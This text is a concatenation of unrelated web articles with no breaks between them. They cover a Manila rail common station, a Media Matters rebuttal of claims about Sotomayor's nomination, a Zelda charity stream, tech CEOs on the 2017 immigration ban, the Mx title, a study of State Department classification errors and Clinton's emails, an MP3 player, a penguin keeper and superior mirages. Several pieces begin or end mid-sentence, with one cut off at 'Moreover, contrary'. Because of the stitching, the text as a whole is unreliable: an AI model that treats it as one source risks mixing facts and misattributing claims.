“Andun si Mr. Zobel, si Mr. Ramon Ang, nandun po si Mr. Pangilinan. Nandun po si Ma’am Tess Coson at kapatid niya (Mr. Zobel, Mr. Ramon Ang, Mr. Pangilinan, Ma’am Tess Coson and her sibling were al there),” he added.
Tugade said the only contention would be whether the common station would have an underpass or overpass.
“On Sept 28, magpupulong (there will be a meeting) to sign the agreement during the time. What is the basic technical issue involved is whether there will be an overpass or underpass. But the connectivity is a given assumption,” Tugade said.
READ:TRO on construction of LRT-MRT common station stays
The Supreme Court last May had said the construction of the common station for LRT and MRT could not yet proceed because it has yet to lift the temporary restraining order that halted the construction since July 2014.
The SM Prime Holdings, the complainant, took to the Supreme Court to oppose the transfer of the common station for violating a 2009 memorandum of agreement with LRT-A that the common station should be constructed in front of the SM North Edsa.
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The common station will connect three urban transit lines: the LRT 1), the MRT-3 and the MRT-7, which recently broke ground and would run from the common station to Bulacan via Commonwealth Avenue.
READ: MRT 7 to Bulacan finally breaks ground
Tugade had said as a “common sense” solution, the common station would be built between SM North and Trinoma. RAM
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MOST READThe media have advanced numerous myths and falsehoods about Sonia Sotomayor. In addition to evaluating these claims on their merits, the media should also consistently report that conservatives were reportedly very clear about their intentions to oppose President Obama's nominee for political purposes, no matter who it was.
In covering the announcement by President Obama that he intends to nominate Judge Sonia Sotomayor to replace retiring Justice David Souter on the Supreme Court, the media have advanced numerous myths and falsehoods about Sotomayor. In some cases, the media assert the falsehoods themselves; in others, they report unchallenged the claims of others.
In addition to evaluating these claims on their merits, the media should also consistently report that conservatives were reportedly very clear about their intentions to oppose Obama's nominee, no matter who it was. Their attacks must be assessed in the context of their reported plans to use the confirmation process to "help refill depleted coffers and galvanize a movement demoralized by Republican electoral defeats"; "build the conservative movement"; provide "a massive teaching moment for America"; "prepare the great debate with a view toward Senate elections in 2010 and the presidency"; and "hurt conservative Democrats."
Media Matters for America has compiled a list of myths and falsehoods that have emerged or resurfaced since Sotomayor's nomination was first reported.
MYTH: Sotomayor advocated legislating from the bench
Media including The Wall Street Journal, USA Today, CNN, Fox News, and MSNBC have misrepresented Sotomayor's statement -- during a February 25, 2005, Duke University School of Law forum -- that the "court of appeals is where policy is made." These media outlets have advanced assertions that Sotomayor was advocating that judges make policy from the bench, or in the case of NBC's Matt Lauer and Chuck Todd, falsely characterized Sotomayor's comment themselves. But the context of her comments makes clear that she was simply explaining the difference between district courts and appeals courts after being asked about the differences between clerkships at the two levels, an explanation in line with federal appellate courts' "policy making" role described by the Oxford Companion to the Supreme Court of the United States (2005).
From Sotomayor's remarks:
SOTOMAYOR: The saw is that if you're going into academia, you're going to teach, or as Judge Lucero just said, public interest law, all of the legal defense funds out there, they're looking for people with court of appeals experience, because it is -- court of appeals is where policy is made. And I know -- and I know this is on tape and I should never say that because we don't make law, I know. OK, I know. I'm not promoting it, and I'm not advocating it, I'm -- you know. OK. Having said that, the court of appeals is where, before the Supreme Court makes the final decision, the law is percolating -- its interpretation, its application. And Judge Lucero is right. I often explain to people, when you're on the district court, you're looking to do justice in the individual case. So you are looking much more to the facts of the case than you are to the application of the law because the application of the law is non-precedential, so the facts control. On the court of appeals, you are looking to how the law is developing, so that it will then be applied to a broad class of cases. And so you're always thinking about the ramifications of this ruling on the next step in the development of the law. You can make a choice and say, "I don't care about the next step," and sometimes we do. Or sometimes we say, "We'll worry about that when we get to it" -- look at what the Supreme Court just did. But the point is that that's the differences -- the practical differences in the two experiences are the district court is controlled chaos and not so controlled most of the time.
According to NBC News justice correspondent Pete Williams, "[E]ven some conservatives and followers of strict constructionism have said that [Sotomayor] was only stating the obvious: that trial judges, district court judges, decide only the cases before them, and that appeals courts, because they are the, you know, above the other courts, do set policy; they do make precedent that governs the other courts." Indeed, legal experts have stated that Sotomayor's comment is not controversial, as The Huffington Post and PolitiFact.com have noted. In the words of Hofstra University law professor Eric Freedman, Sotomayor's remark was "the absolute judicial equivalent of saying the sun rises each morning" and "thoroughly uncontroversial to anyone other than a determined demagogue."
MYTH: Sotomayor said, "Latina judges are obviously better than white male judges"
Media figures have misrepresented a remark that Sotomayor made in a speech published in 2002, claiming that she suggested, in the words of Fox News' Megyn Kelly, "that Latina judges are obviously better than white male judges." Further advancing the falsehood, numerous media figures have asserted that Sotomayor made a "racist statement." In fact, when Sotomayor asserted, "I would hope that a wise Latina woman with the richness of her experiences would more often than not reach a better conclusion than a white male who hasn't lived that life," she was specifically discussing the importance of judicial diversity in determining race and sex discrimination cases. Indeed, as Media Matters has noted, former Bush Justice Department lawyer John Yoo has similarly stressed that Supreme Court Justice Clarence Thomas "is a black man with a much greater range of personal experience than most of the upper-class liberals who take potshots at him" and argued that Thomas' work on the court has been influenced by his understanding of the less fortunate acquired through personal experience.
MYTH: Sotomayor's Supreme Court reversal rate is "high"
In a May 27 article headlined "Sotomayor reversed 60% by high court," The Washington Times uncritically quoted Conservative Women for America president Wendy Wright saying that Sotomayor's reversals -- which the Times reported as three of five cases, or 60 percent -- were "high." Similarly, on May 26, Congressional Quarterly Today uncritically quoted (subscription required) Wendy Long, counsel to the Judicial Confirmation Network, claiming that Sotomayor "has an extremely high rate of her decisions being reversed, indicating that she is far more of a liberal activist than even the current liberal activist Supreme Court." In fact, contrary to the claim that a reversal rate of 60 percent is "high," data compiled by SCOTUSblog since 2004 show that the Supreme Court has reversed more than 60 percent of the federal appeals court cases it considered each year.
MYTH: Liberal judges like Sotomayor are "activist[s]"
CNN's Gloria Borger and Bill Schneider have uncritically repeated Republican claims that Sotomayor is -- in Schneider's words -- a "liberal activist," and in doing so have also advanced the baseless conservative claim that judicial activism is solely a "liberal" practice. But at least two studies -- looking at two different sets of criteria -- have found that the most "conservative" Supreme Court justices have been among the biggest judicial activists.
A 2005 study by Yale University law professor Paul Gewirtz and Yale Law School graduate Chad Golder indicated that among Supreme Court justices at that time, those most frequently labeled "conservative" were among the most frequent practitioners of at least one brand of judicial activism -- the tendency to strike down statutes passed by Congress. Indeed, Gewirtz and Golder found that Thomas "was the most inclined" to do so, "voting to invalidate 65.63 percent of those laws." Additionally, a recently published study by Cass R. Sunstein (recently named by Obama to head the White House Office of Information and Regulatory Affairs) and University of Chicago law professor Thomas Miles used a different measurement of judicial activism -- the tendency of judges to strike down decisions by federal regulatory agencies. Sunstein and Miles found that by this definition, the Supreme Court's "conservative" justices were the most likely to engage in "judicial activism," while the "liberal" justices were most likely to exercise "judicial restraint."
Moreover, according to Politico's Jeanne Cummings, "Sotomayor's history suggests the very sort of judicial restraint that conservatives clamor for in a nominee." She added:
Whatever her personal ideology, she ruled against an abortion-rights group challenging [President] Bush's policy of banning overseas groups that take federal funds from conducting abortions. In another case, she ruled in favor of abortion protesters. "She applied the law even-handedly and come out with the right decision," said Bruce Hausknecht, a judicial analyst for Focus on the Family Action, a large and influential voice on conservative social issues. Sotomayor's rulings on religious liberty issues also have pleased the conservative community. "It would have been a lot easier to communicate to the base why Judge Wood would not have made a good nominee," said Hausknecht. "With Sotomayor, we have to take a wait-and-see attitude."
MYTH: Sotomayor was "[s]oft on New Jersey [c]orruption"
In a May 26 post to his National Review Online "the campaign spot" blog, Jim Geraghty misleadingly suggested that as a U.S. district judge, Sotomayor was "[s]oft on New Jersey [c]orruption" due to the sentencing and financial penalty she issued in 1995 to Joseph C. Salema in a municipal bond kickback scheme. Geraghty cited the book The Soprano State: New Jersey's Culture of Corruption, by Bob Ingle and Sandy McClure, who wrote that "Salema could have spent up to 10 years behind bars" and that Sotomayor "instead sentenced him to six months in a halfway house and six months of home detention, fined him $10,000 and gave him 1400 hours of community service." Geraghty commented: "A $10,000 fine to someone who pleads guilty to a federal charge of sharing in more than $200,000 in kickbacks. Boy, that will teach him!" But in declaring Sotomayor "[s]oft," Geraghty ignored the fact that prosecutors reportedly sought a prison term of only one year and that Salema reportedly paid "a full restitution of $342,000" in a settlement with the Securities and Exchange Commission (SEC).
MYTH: New Haven firefighters case shows Sotomayor is an "activist"
The media have advanced conservatives' claim that Sotomayor's position in the New Haven firefighters case, Ricci v. DeStefano, shows that she is an "activist" judge. For example, a May 26 Congressional Quarterly Today article quoted Long as saying that Sotomayor "has an extremely high rate of her decisions being reversed, indicating that she is far more of a liberal activist than even the current liberal activist Supreme Court" and reported that Long "pointed to Sotomayor's participation in a 2nd Circuit discrimination case, Ricci v. DeStefano, in which a group of white New Haven, Conn., firefighters alleged they were unfairly denied promotions." In fact, Sotomayor agreed with four of her 2nd U.S. Circuit Court of Appeals colleagues that precedent compelled the decision in the case. Moreover, contrary |
“So thank you Mr. Miamoto, Mr. Aonuma, and everyone at Nintendo who have given me the memories that I will cherish for the rest of my life. It is because of your creativity and desire to make innovative games that I will never have to lose my brother. From the bottom of my heart, thank you.” — Corey Austen
Early into the stream, a package arrived at Corey’s door from Nintendo, which included a handwritten note and a full Zelda themed care package. The package included the shirt, coin, and lanyard that was given to those who stopped by to play Breath of the Wild at E3, as well as a Breath of the Wild pin and several other Zelda-themed items. Most notable in the package was a note, hand-written from Nintendo staff, offering their condolences.
Corey’s stream raised $5,200 for the Epilepsy Foundation, and ran for 66.5 hours and 6 games (it has since raised an additional $100 and you can still donate through the Epilepsy Foundation Donor Drive site).
Correction: The original article mistakenly mixed up Corey and Matt in one place. This has been fixed. We apologize for the error.
Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!Apple CEO Tim Cook has joined Silicon Valley's response to President Trump's immigration ban.
He told staff that the company 'wouldn't exist' without immigration and insisted the firm does not support the policy.
In an email to workers, obtained by Recode, he wrote: 'Apple would not exist without immigration, let alone thrive and innovate the way we do.
Apple CEO Tim Cook has joined Silicon Valley's response to President Trump's immigration ban. He told staff that the company 'wouldn't exist' without immigration and insisted the firm does not support the policy. He is pictured at Trump Tower during a meeting of tech CEOs
'I've heard from many of you who are deeply concerned about the executive order issued yesterday restricting immigration from seven Muslim-majority countries. I share your concerns. It is not a policy we support.'
He then quoted Dr. Martin Luther King in the note to employees: 'In the words of Dr. Martin Luther King, 'We may have all come on different ships, but we are in the same boat now.'
He spoke out as Facebook founder Mark Zuckerberg and Google CEO Sundar Pichai lead the outcry from business leaders.
Trump signed an order on Friday banning immigrants from seven countries from entering the United States, even if they have already been approved.
But the ban was temporarily overturned on Saturday after the ACLU won a stay in federal court, meaning those affected cannot be deported and sent back to their home countries.
Mark Zuckerberg broke his silence about President Trump's restrictive immigration policies in a heartfelt Facebook post on Saturday evening
On his social media platform, the business mogul wrote of his vehement disagreement with Trump's immigration policies
Zuckerberg broke his silence about President Trump's restrictive immigration policies in a heartfelt Facebook post on Friday evening.
The billionaire wrote of his vehement disagreement with Trump's promise to build a wall at the Mexican border, and his signing of an executive order banning Syrian refugees and preventing immigrants from selected countries from entering the United States.
Zuckerberg, who is married to a first generation immigrant, wrote about his own European nationality and his hope that the nation can come together as one.
He wrote: 'My great grandparents came from Germany, Austria and Poland. Priscilla's parents were refugees from China and Vietnam. The United States is a nation of immigrants, and we should be proud of that.
'Like many of you, I'm concerned about the impact of the recent executive orders signed by President Trump.'
Zuckerberg's wife Priscilla, left, is the child of refugees from China and Vietnam
On Wednesday, Donald Trump kept to his promise to 'build the wall' - signing executive orders that will employ 5,000 new border control officers, 10,000 deportation agents, and remove government funding for sanctuary cities.
Zuckerberg continued: 'We need to keep this country safe, but we should do that by focusing on people who actually pose a threat.
'Expanding the focus of law enforcement beyond people who are real threats would make all Americans less safe by diverting resources, while millions of undocumented folks who don't pose a threat will live in fear of deportation.'
'We should also keep our doors open to refugees and those who need help. That's who we are. Had we turned away refugees a few decades ago, Priscilla's family wouldn't be here today.'
On Friday, Trump signed a second executive order that went into immediate effect, banning Syrian refugees from entering the country.
Since 2011, an estimated 11 million Syrians have been forced to flee their homes for survival after civil war broke out, according to the EU website.
For 120 days, no Syrians will be permitted to enter the United States, and for 90 days, residents of the 'terror-prone' countries of Iran, Iraq, Syria, Sudan, Libya, Yemen and Somalia are also banned, CNN said.
This posed an issue for immigrants who were already en route to the country, leading to mass arrests at airports across the nation.
On Friday, Trump signed a second executive order that went into immediate effect, banning Syrian refugees from entering the country
The New York Times reported that a number of legal complaints have since been filed, and when one refugee asked whom he should speak with about the issue, a customs agent told him to 'call Mr Trump'.
Zuckerberg continued: 'That said, I was glad to hear President Trump say he's going to 'work something out' for Dreamers - immigrants who were brought to this country at a young age by their parents.
'Right now, 750,000 Dreamers benefit from the Deferred Action for Childhood Arrivals (DACA) program that allows them to live and work legally in the US. I hope the President and his team keep these protections in place, and over the next few weeks I'll be working with our team at FWD.us to find ways we can help.
'I'm also glad the President believes our country should continue to benefit from 'people of great talent coming into the country.''
Zuckerberg should know the importance of having highly skilled immigrants in the workforce. Facebook, as with many other companies, employs engineers from around the world to program their technology.
Many Facebook users were quick to respond to the billionaire's message, with a clear divide between those supporting and criticizing his statements.
Many Facebook users were quick to respond to the billionaire's message, with a clear divide between those supporting and criticizing his statements
Zuckerberg wrote that he was glad Trump agreed to 'work something out' for 'Dreamers' protected by the Deferred Action for Childhood Arrivals (DACA) program
Zuckerberg spoke of his European heritage and his hope that we can all come together as Americans
Though the responses were generally positive, many criticized Zuckerberg for his 'hypocritical' statements about Trump's wall, given the fact that he recently constructed a wall around his $100 million home in Hawaii.
Many also argued that Trump is not opposing, immigration, but just wants to promote legal immigration.
One user wrote: 'Our families came into this country and went through the process to become citizens and or at the very least documented.'
Though the responses were generally positive, many criticized Zuckerberg for his 'hypocritical' statements about Trump's wall
Many also argued that Trump is not opposing, immigration, but just wants to promote legal immigration
One user wrote: 'Our families came into this country and went through the process to become citizens and or at the very least documented'
The CEO finished his emotive letter, stating: 'These issues are personal for me even beyond my family. A few years ago, I taught a class at a local middle school where some of my best students were undocumented. They are our future too.
'We are a nation of immigrants, and we all benefit when the best and brightest from around the world can live, work and contribute here.
'I hope we find the courage and compassion to bring people together and make this world a better place for everyone.'
Meanwhile, Google is urgently calling back employees from overseas.
CEO Sundar Pichai said Trump's move affects at least 187 members of the company's staff.
Bloomberg News obtained a copy of Pichai's memo to employees, which read: 'It's painful to see the personal cost of this executive order on our colleagues.
'We've always made our view on immigration issues known publicly and will continue to do so.'
'We're concerned about the impact of this order and any proposals that could impose restrictions on Googlers and their families, or that could create barriers to bringing great talent to the U.S.,' Google, part of Alphabet Inc, said in a statement. 'We'll continue to make our views on these issues known to leaders in Washington and elsewhere.'
One Google employee of Iranian nationality with legal U.S. residency made it back to the United States just hours before the order took effect, the executive said.
Microsoft said in a statement: 'We share the concerns about the impact of the executive order on our employees from the listed countries, all of whom have been in the United States lawfully, and we're actively working with them to provide legal advice and assistance.'
Google CEO Sundar Pichai said Trump's move affects at least 187 members of staff
Microsoft CEO, Satya Nadella wrote on LinedIn: 'As an immigrant and as a CEO, I've both experienced and seen the positive impact that immigration has on our company, for the country, and for the world. We will continue to advocate on this important topic.'
A lengthy email to Microsoft employees on Saturday included the lines: 'We're aware of 76 Microsoft employees who are citizens of these countries and have a U.S. visa and are therefore affected by this new Order.
'We've already contacted everyone in this group. But there may be other employees from these countries who have U.S. green cards rather than a visa who may be affected, and there may be family members from these countries that we haven't yet reached.'
Uber CEO, Travis Kalanick sent an email to employees, which he then posted on Facebook. It reads: 'Our People Ops team has already reached out to the dozen or so employees who we know are affected: for example, those who live and work in the U.S., are legal residents but not naturalized citizens will not be able to get back into the country if they are traveling outside of the U.S. now or anytime in the next 90 days.
'This order has far broader implications as it also affects thousands of drivers who use Uber and come from the listed countries, many of whom take long breaks to go back home to see their extended family.
'These drivers currently outside of the U.S. will not be able to get back into the country for 90 days. That means they will not be able to earn a living and support their families—and of course they will be separated from their loved ones during that time.
'We are working out a process to identify these drivers and compensate them pro bono during the next three months to help mitigate some of the financial stress and complications with supporting their families and putting food on the table.'
Brian Chesky, co-founder and CEO of Airbnb, tweeted: 'Open doors brings all of US together. Closing doors further divides US. Let's all find ways to connect people, not separate them.'
Rideshare company, Lyft, issued a statement to Buzzfeed through its CEO, Logan Green. It read: 'Throughout our history, Lyft has worked hard to create an inclusive, diverse and conscientious community where all of our drivers and passengers feel welcome and respected.
'Banning people of a particular religion from entering the U.S. is antithetical to both Lyft's and our nation's core values.'UK Deed Poll Service
(pronounced Mix) as an option for people who do not identify themselves as either male or female and, therefore, feel a gender specific title such as Mr or Miss is inappropriate and unsuitable for them.
We are unable to guarantee that all record holders (i.e. government departments, companies and organisations that hold your personal records) will recognise your new title but we believe many will and in time all will. Initially, the problem will be record holders’ computer systems not being able to accept Mx as a title but when a significant number of people request record holders show their title as Mx a tipping point will be reached causing record holders to reprogram their systems to accommodate Mx as a title. In October 2011, we introduced the title of Mxas an option for people who do not identify themselves as either male or female and, therefore, feel a gender specific title such as Mr or Miss is inappropriate and unsuitable for them.We are unable to guarantee that all record holders (i.e. government departments, companies and organisations that hold your personal records) will recognise your new title but we believe many will and in time all will. Initially, the problem will be record holders’ computer systems not being able to accept Mx as a title but when a significant number of people request record holders show their title as Mx a tipping point will be reached causing record holders to reprogram their systems to accommodate Mx as a title.
Close this windowHillary Clinton speaks during the first presidential debate at Hofstra University in Hempstead, N.Y. (Peter Foley/European Pressphoto Agency)
With the reopened FBI inquiry into Hillary Clinton’s emails when she was secretary of state, Americans are once again considering what counts as negligence in how officials — and in particular, Clinton — handle potentially sensitive information.
A recent Gallup poll found that the email controversy has dominated what voters hear about Clinton. A majority of those whom Rasmussen surveyed two weeks ago (53 percent) still think Clinton should have been indicted.
Was Clinton guilty of “gross negligence” in handling state secrets? Critics assert that allowing classified information on an unclassified system “is unheard of and a major criminal offense,” indictable under the Espionage Act. Defenders say that what gets defined as secret is “almost random,” and overclassification has run amok.
But what if we examined the question using data science, the discipline dedicated to understanding how data can be stored, classified, analyzed and protected?
At Columbia University’s History Lab, social scientists and data scientists have conducted many experiments to discover patterns and anomalies in official secrecy in large collections of declassified documents. We joined with collaborators at Fundação Getulio Vargas in Brazil, Renato Souza and Flavio Coelho, to see whether we could use data science methods to classify State Department communications.
We had two goals: First, find out whether, and to what extent, being classified as “secret” or “confidential” has historically been random or predictable. Second, learn what is normal and what might be considered negligent in how officials manage large numbers of potentially sensitive communications.
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Here’s how we did it. Through machine-learning, a type of artificial intelligence, we create algorithms to measure and compare features in a data set that is already classified. In this case, the data consists of State Department communications, and the classes are secret, confidential and unclassified. High-performance computers systematically sort out what tends to differentiate these communications, whether that’s by subject matter, senders and receivers, or words in the message.
After “training” the algorithm in this way, we test it on a different set of communications. If any patterns distinguish more vs. less sensitive communications, the algorithm should be able to automatically rank those most likely to be classified as secret.
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That’s essentially what Clinton and her aides were doing when deciding what they could send via email and what they needed to keep on secure systems. If AI methods prove reliable, they could be used to create a “recommender system” that would assist officials in classifying a message before it is sent.
We tested our method on declassified records from the 1970s
Of course, we couldn’t test our AI methods against Clinton’s communications, because we could not examine email that reviewers later classified, or the messages she and her team identified as sensitive and sent via a secure method. So we used our approach on declassified data from the 1970s, when the State Department first started to use electronic records. For this purpose, we acquired millions of State Department records from the National Archives.
Here’s what we found.
Does the State Department always protect classified communications on secure systems?
We found almost 48,000 “Secret” and “Confidential” cables that contain nothing but error messages — or just nothing. The National Archives states that these losses occurred when the cables were still at the State Department, whether because of technical problems or deliberate deletion. “Secret” cables were more than three times as likely as unclassified messages to go missing.That left almost a million diplomatic cables from 1973 to 1978 with full text and many kinds of metadata. After extensive testing, we developed a matrix with 40,700 possible features for each of the 918,083 records.
How did our AI tool do at predicting the proper classification?
By calculating the relative frequency of different words in the message text and in the metadata, the algorithm could correctly identify 90 percent of the cables marked as “secret,” “confidential” or “limited official use.”
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Just the keywords officials assigned to each cable made it possible to identify 84 percent of the classified communications. Such sensitive communications typically involved the most senior officials discussing subjects such as arms-control negotiations (as opposed to, say, civil aviation or scientific meetings).
In our experiment, fewer than 11 percent of the cables that our algorithm identified as likely to be classified had not been categorized as classified. But a lot of these resulted from human error. This included cables originally classified as secret when received at the State Department but were resent to another post as unclassified, such as what Lebanese Christian leaders said about cease-fire negotiations with the Palestine Liberation Organization.
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There were also many unclassified cables that, according to experts with security clearances, would have been highly sensitive at the time. This included, for instance, what a confidential informant told U.S. diplomats about the kidnapping of the son of the president of Cyprus.
Meanwhile, about 16 percent of the cables the algorithm identified as unclassified were actually marked as secret, confidential or limited official use. But here again, inspecting these cables indicated a lot of human error, such as a mismatch between the metadata from the State Department database and the actual markings on the cables. Hundreds of cables had been mislabeled as unclassified, such as a report on Japanese government sensitivity about U.S. inspection of its nuclear facilities, in which the message text itself clearly showed it was meant to be confidential. Other cables that were labeled “secret” were almost certainly overclassified, such as miscellaneous travel reservations.
To be sure, apparent error can reflect disagreements among officials about what they need to classify, a perennial problem. A 2008 interagency report for the Office of the Director of National Intelligence found that there was “uneven guidance, misunderstanding, and a lack of trust between Intelligence Community agencies and mission partners concerning the proper handling and protection of information.”
Was Clinton negligent?
So was Clinton’s team negligent when they sent emails on an insecure system that other officials later deemed to be confidential, secret or top secret?
Clinton and her aides were probably as qualified to identify sensitive information as anyone else. But if we accept these post-hoc reviewers were right in every case, that amounts to 2,115 misclassified emails, or about one or two emails each day Clinton’s team was using the system.
Some think this is a lot. But it is less than four percent of the 54,149 individual messages (the oft-cited figure of 30,000 emails is actually the number of email threads, many of which contain multiple messages).
So Clinton and her team generated about 37 emails a day, and one or two of them should have been classified. But they were also generating an untold number of communications using secure systems, including cables, secure telephone calls, and secure fax messages.
Let’s say, conservatively, that the Secretary of State had no more communications than an average office worker – 121 e-mails daily, not counting phone calls, snail mail, and so on. Out of that, would under-classifying one or two per day be a high error rate? It’s better than we were able to achieve with “big data” and high-performance computers.
What’s the State Department’s usual error rate in classifying communications?
Clinton can’t be considered negligent until we know how her record compares with the error rate for the rest of the State Department. Clearly, officials make errors in identifying sensitive information. But even though the government spends more than $16 billion a year guarding official secrets — almost 40 times more than it allocates to answer (or not answer) Freedom of Information Act requests — it has never studied to what extent officials agree on what they should keep secret, and how reliably they protect these secrets. Without that kind of research, we simply cannot know whether Clinton was better or worse than average in recognizing sensitive information and protecting it on a secure system.
Matthew Connelly is a professor of history at Columbia University, where Rohan Shah is project manager for History Lab.Most Android smartphones make decent MP3 players. They have long battery life, enough storage for at least a few albums of music, and headphone jacks. What more do you need?
How about something thinner and lighter which won’t drain your phone’s battery and which has dedicated playback buttons? Enter the Samsung Muse.
The Muse is basically a tiny MP3 player with 4GB of storage. Those are a dime a dozen these days… but Samsung’s version costs $50.
Samsung justifies the price tag by letting you sync music from a Samsung Galaxy smartphone.
You just hook up the Muse to your smartphone with the supplied cable, download the Muse Sync app from the Google Play Store, and run it to select which songs you want to transfer.
The Samsung Muse gets up to 6 hours of battery life and features a clip that lets you wear it while running or doing something else where you might not want to take your phone with you.Image copyright International Antarctic Centre Image caption Dianne Lim trained as a beautician before becoming a penguin keeper
Dianne Lim, 53, works as a penguin keeper at the International Antarctic Centre in Christchurch, New Zealand. The centre is home to several native penguins with disabilities, who cannot survive in the wild.
I've been working with penguins for about six years now. I can't see myself doing anything else - I love it.
I normally get up at around 06:00. I normally start by going on a 4km (2 mile) walk with my dog. I have cereal and fruit for breakfast before heading to work.
At work, I start with a headcount to make sure all the penguins have survived the night.
We can house up to 26 penguins in our enclosure, which has a beach, several bedding boxes and a pool. We take in badly injured penguins that can't survive in the wild.
I have to scrub down the penguin beach every morning - it's always covered with poo. I go to their beds and change their sheets - they're also covered with penguin poo in the morning.
Image caption The centre includes a freshwater pool where penguins are fed
I need to prepare their fish before feeding time - we have a fresh water pool, not a saltwater pool, so we need to soak the penguins' fish in a bucket of salt water every day.
I put two vitamin pills under the gill of each fish to make sure the penguins get all the nutrients they need.
The penguins are still wild animals. When they first come to us they are injured, so we quarantine them for about three weeks, and get rid of fleas and any STDs they may have - they're very promiscuous in the wild.
We teach them to swim in a small pool downstairs, and help them with injuries. At that stage, they are sweet and bond quite well with us.
However, when we take them up to join the rest of the penguin colony they turn wild again - after that, they bite you when you pick them up.
It's very painful - they grab your skin, rip and twist it open. It's like pulling a sticking plaster off, but 100 times worse than that.
It's because penguins have fine bones, and are injured easily, so it hurts them when you pick them up. We only handle them if we're giving them medical attention.
Replica eggs
I often give group penguin tours around noon. After lunch, I go down to the plant room to make sure all the machines supporting the penguin colony are working.
I make sure the water recycling system is working, and collect rubbish out of the filter system. Then I put the fresh bedding in the penguin beds.
The female penguins get pregnant every so often. Whenever they lay eggs we gently take them away and replace them with replicas.
After about 40 days or so they'll think the egg's a dud and push them out of their nest. We give the eggs to the local university for research.
Image copyright International Antarctic Centre Image caption The keepers check the penguin boxes for eggs and replace them with replicas
Our permit only allows us to have 26 birds, so keeping baby birds would take up spots for injured birds who need a home. By law, we also have to release chicks to where their parents were found, but we don't know where all of our penguins come from.
In the afternoon, it's feeding time. I throw fish into the pool for the penguins, and feed the ones that aren't good at swimming on land.
I have to hand feed Turk, a white flippered penguin with brain damage, as she has a paralysed tongue.
After I've done my last feed, I wash the floor again, do another head count, and make sure everyone is tucked into bed.
You always go home smelling of fish! I went to the cinema with friends the other day, after two days off work - and my friends still asked what the smell was. And I already shower every day!
Image caption The weaker or shyer penguins are hand-fed on land
We give all the penguins names, and they have individual personalities.
Our penguin Lincoln has a badly broken beak, but he's very handsome and has about three girlfriends at the moment.
He's our most eligible bachelor and we call his bedroom the party bedroom as there are always lots of penguins in there!
Squirt and Yappy are our laziest penguins. They are lazy swimmers, so they will wait until the weaker penguins eat on land, and then steal their food.
Image caption Injured penguins are cared for in a pen in the basement
I'm actually a fully trained beautician - that's my trade. But I needed to do more work when my kids were grown up.
I walked into the International Antarctic Centre in 2004 and they gave me a job working in the shop. I worked my way up to being a guide, and in 2007 they got penguins, so I started volunteering in the penguin enclosure.
I learned a lot from my colleagues - and then when a vacancy came up I applied. I was so thrilled when I got the job.
After the earthquake
The penguins were very scared during the 2011 Christchurch earthquake. We lost the water in the pool and the fire brigade had to come to pump water back in.
Image copyright International Antarctic Centre Image caption The job also involves cleaning dirty penguin bedding
We closed down the centre during the aftershocks, and the penguins slept outside their nests because they were scared and very stressed.
We had no tourists after the quake, so times were hard. The centre had no money, and we had to operate on a skeleton staff and do our own cleaning and everything.
Then the original owner sold the centre to Christchurch airport, which meant we got more funds. It took about six months before visitors started picking up again.
Christchurch was badly damaged by the earthquake, but I think we're starting to get things going again.
There's a good vibe, and a feeling of hope and good will in the city. I think Christchurch is going to be a beautiful and like a new city again.
Dianne Lim was talking to the BBC's Helier Cheung.The Superior Mirage:
Seeing Beyond The presence of an atmosphere on Planet Earth produces all our common weather elements from rain to snow, from calm sunny days to raging gales. It also provides us with some of the most beautiful sights on Earth: rainbows, halos, and spectacularly coloured sunsets and sunrises. Among the most interesting and puzzling optical phenomena of the atmosphere are the mirages. Mirages are caused by the way in which light passes through air layers of differing densities. As light waves move through the air layers, its path is bent or refracted toward the denser air. Strong mirages can trick the brain into thinking it sees something quite different from what is actually there. We call mirages illusions, but they are real phenomena -- as photographs have readily shown -- and not just figments of the mind. Mirages fall into two main categories: inferior and superior, so called not for their image quality, but for the apparent position of the image relative to the object's actual position. The inferior mirage is seen below the actual position of the object, and the superior mirage, above the actual position. The two forms are produced under opposite atmospheric conditions. [Details on the inferior mirage, which we have all seen as apparent pools of "water" on a highway or other warm surface, can be found in The Inferior Mirage: Not Just For Deserts Anymore on this website.] The superior mirage is not as commonly recognized as the familiar highway "water pools" of the inferior mirage. And yet, if you have ever watched the sun rise or set across the horizon, you have seen one. Although we think we are seeing the sun just on the horizon, we are actually seeing it when it is located just below the horizon -- about two minutes prior to actual sunrise or after actual sunset. Because the sun appears to be higher in the sky than its actual position -- if only by the width of the solar disk, about half a degree of arc -- we can call the image a superior mirage. What causes this to happen? Briefly, here is what causes a superior mirage to form. (Rather than repeat material already on the Weather Doctor website, click here to go to a more technical explanation of mirage formation.) The image we see when the sun appears on the horizon (or the moon, planets or stars, for that matter) results from a bending of the light rays as they travel from the vacuum of outer space to the relatively dense atmosphere near the planet's surface. However, the most baffling and spectacular superior mirages at the surface are caused by changes in atmospheric density in the lower air layers. And these variations are strongly dependent upon changes in the air temperature with height in those layers. The superior mirage forms when cold air lies beneath relatively warmer air, a conditions known to meteorologists as a temperature inversion. In this condition, light rays refract, or bend, toward the colder (and denser) air -- that is, downward. This bending causes the image of the object to appear to us to be above its actual position because our brains assume the light rays have taken a straight path from the object to our eyes. The rate of increase of temperature with height (the temperature gradient) affects how the light rays travel from the object to our eyes and thus how we see the resulting image pattern. The superior mirage may cause the image (or parts thereof) of an object to appear: visible even though the object is actually located below the geometric horizon (the line of sight drawn from our eye tangent to the surface of the earth);
lifted well above its actual position -- for example, a boat appearing to sail in the clouds;
inverted from its normal image;
multiplied and either upright or inverted;
taller, larger or closer than it actually is; or
shorter, smaller or further away than it actually is. When an image appears much higher in the sky than the actual object's position, the condition is termed looming. When an image appears much taller, the condition is termed towering. When an image appears much shorter, the condition is termed stooping. Several variations of the superior mirage are quite spectacular sights and have been given their own names: the arctic mirage or hillingar effect, the Fata Morgana, the Fata Bromosa and the Novaya Zemlya mirage. We will discuss each in more detail below. Perhaps the most common form of superior mirage is looming. Most looming mirages occur over large bodies of water which are much colder than the air above, or over snow/ice surfaces. The bending of the light ray paths under looming conditions increases as the temperature gradient increases in the air layer. Thus, the greater and deeper the inversion, the higher the object appears in the sky because our eyes interpret the bent light path as straight. Superior Mirage: Scale is greatly exaggerated. This is illustrated in the above diagram. Because of this bending, we see the object floating in the sky, above or even attached to the original object. In cases of strong looming, the image may appear very high in the sky. Looming of a distant ship may be the source of the many legends of flying ghost ships seen by mariners over the centuries. And since the actual ship may be below the geometric horizon, sailors or shoreline viewers might never see it except as a mirage image. Inversion Temperature Profile:
Temperature increases with height.
